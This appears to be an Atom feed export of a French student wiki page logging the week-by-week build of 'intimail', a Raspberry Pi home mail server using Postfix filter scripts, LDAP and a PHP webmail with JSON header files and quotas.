Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27275</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27275"/>
				<updated>2016-02-17T09:28:52Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 20 (15/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
